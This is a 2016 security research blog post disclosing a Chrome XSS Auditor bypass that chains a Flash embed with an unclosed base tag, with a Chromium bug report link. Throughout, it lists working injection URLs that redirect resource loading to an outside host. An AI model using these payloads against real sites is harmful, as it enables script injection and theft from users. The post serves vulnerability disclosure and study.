Wednesday, May 18, 2016

XSS Auditor bypass using Flash and base tag

A few days ago, I was playing Chrome XSS Auditor bypass with Mario.

Mario discovered this bypass:
Also I found an another bypass. In this post, I would like to share my vector.

I have filed this bug on: https://bugs.chromium.org/p/chromium/issues/detail?id=612672

The vector is this:
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
Let's take a look at the process until reaching this bypass.

It is blocked to fetch the external resources using the <embed>:
https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=https://evil/>
<embed src=https://evil/>
But it is not blocked to fetch any same-origin resources having no query string:

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+src=/aaa>
<embed src=/aaa>
So, if we can change the base URL, it is possible to do XSS attacks.
The base tag is also blocked but if it is not closed with >, Auditor does not block in some cases.

The following case is blocked:
https://vulnerabledoma.in/xss_auditortest?test=3&q=<base+href=//evil/
<div><base href=//evil/ </div>
But the following case is not blocked:
https://vulnerabledoma.in/xss_auditortest?test=1&q=<base+href=//evil/
<div><base href=//evil/</div>
Can you see the difference? The former page exists a white space behind the injection point. It seems it is blocked by Auditor if the page has a white space directly behind the injection point. In other words, we can inject a base tag without being blocked if the page does not have a white space directly behind the injection point.

Thus, my vector works!

https://vulnerabledoma.in/xss_auditortest?test=1&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href=//l0.cm/
<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>
So, can't we always bypass if the page has a white space directly behind? No! We still have a chance to bypass.
If the "' characters exists under the injection point, we can bypass Auditor using the unclosed attribute quotes, like <base href="//evil/.

It is not blocked in the following condition:
https://vulnerabledoma.in/xss_auditortest?test=4&q=<embed+allowscriptaccess=always+src=/xss.swf><base+href="//l0.cm/
<div>
<embed allowscriptaccess=always src=/xss.swf><base href="//l0.cm/
</div><div id="x">AAA</div>
I think this bypass is useful because most pages have the "' characters under the injection point.

FYI, also <script src=/xss.js></script><base href=//evil/ is not blocked. But we can't load the external resource because the loading is started before the base URL is set:

https://vulnerabledoma.in/xss_auditortest?test=1&q=%3Cscript%20src=/xss.js%3E%3C/script%3E%3Cbase%20href=//evil/

Thus, I used Flash.

That's all. Thanks for reading my post :)